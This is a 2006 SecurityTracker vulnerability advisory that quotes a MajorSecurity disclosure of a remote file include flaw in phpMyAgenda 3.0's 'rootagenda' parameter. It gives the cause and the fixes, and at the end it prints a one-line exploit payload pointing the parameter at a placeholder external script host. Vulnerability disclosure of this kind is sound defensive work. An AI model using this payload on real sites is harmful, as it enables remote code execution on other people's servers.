phpMyAgenda 'rootagenda' Parameter Include File Bug Lets Remote Users Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1015984
|
|
SecurityTracker URL: http://securitytracker.com/id?1015984
|
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Apr 24 2006
|
Impact: Execution of arbitrary code via network, User access via network
|
Exploit Included: Yes
|
Version(s): 3.0 Final
|
Description: A vulnerability was reported in phpMyAgenda. A remote user can include and execute arbitrary code on the target system.
The 'agenda.php3' script does not properly validate user-supplied input in the 'rootagenda' parameter. If register_globals is enabled,
a remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote
location. The PHP code, including operating system commands, will run with the privileges of the target web service.
'Aesthetico'
discovered this vulnerability.
|
Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: phpmyagenda.com (Links to External Site)
|
Cause: Input validation error, State error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: admin@majorsecurity.de
|
Message History:
None.
|
Source Message Contents
|
Date: 24 Apr 2006 15:12:55 -0000
From: admin@majorsecurity.de
Subject: [MajorSecurity] phpMyAgenda 3.0 Final - Remote File Include
|
[MajorSecurity] phpMyAgenda 3.0 Final - Remote File Include Vulnerability
--------------------------------------------------------
Software: phpMyAgenda
Version: 3.0 Final
Type: Remote File Include Vulnerability
Date: April, 24th 2006
Vendor: phpMyAgenda
Page: http://phpmyagenda.com
Risc: High
Credits:
----------------------------
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
Affected Products:
----------------------------
phpMyAgenda 3.0 Final and prior
Description:
----------------------------
phpMyAgenda is a complete web application that allows you to manage
and publish events (concert, meetings, etc...).
It stores description, dates, places, contacts, event registrations, and event polls.
Requirements:
----------------------------
register_globals = On
Vulnerability:
----------------------------
Input passed to the "rootagenda" parameter in "agenda.php3" is not
properly verified, before it is used to include files.
This can be exploited to execute arbitrary code by including files from external resources.
Solution:
----------------------------
Edit the source code to ensure that input is properly sanitised.
Set "register_globals" to "Off".
Exploitation:
----------------------------
Post data:
rootagenda=http://www.yourspace.com/yourscript.php?
|
|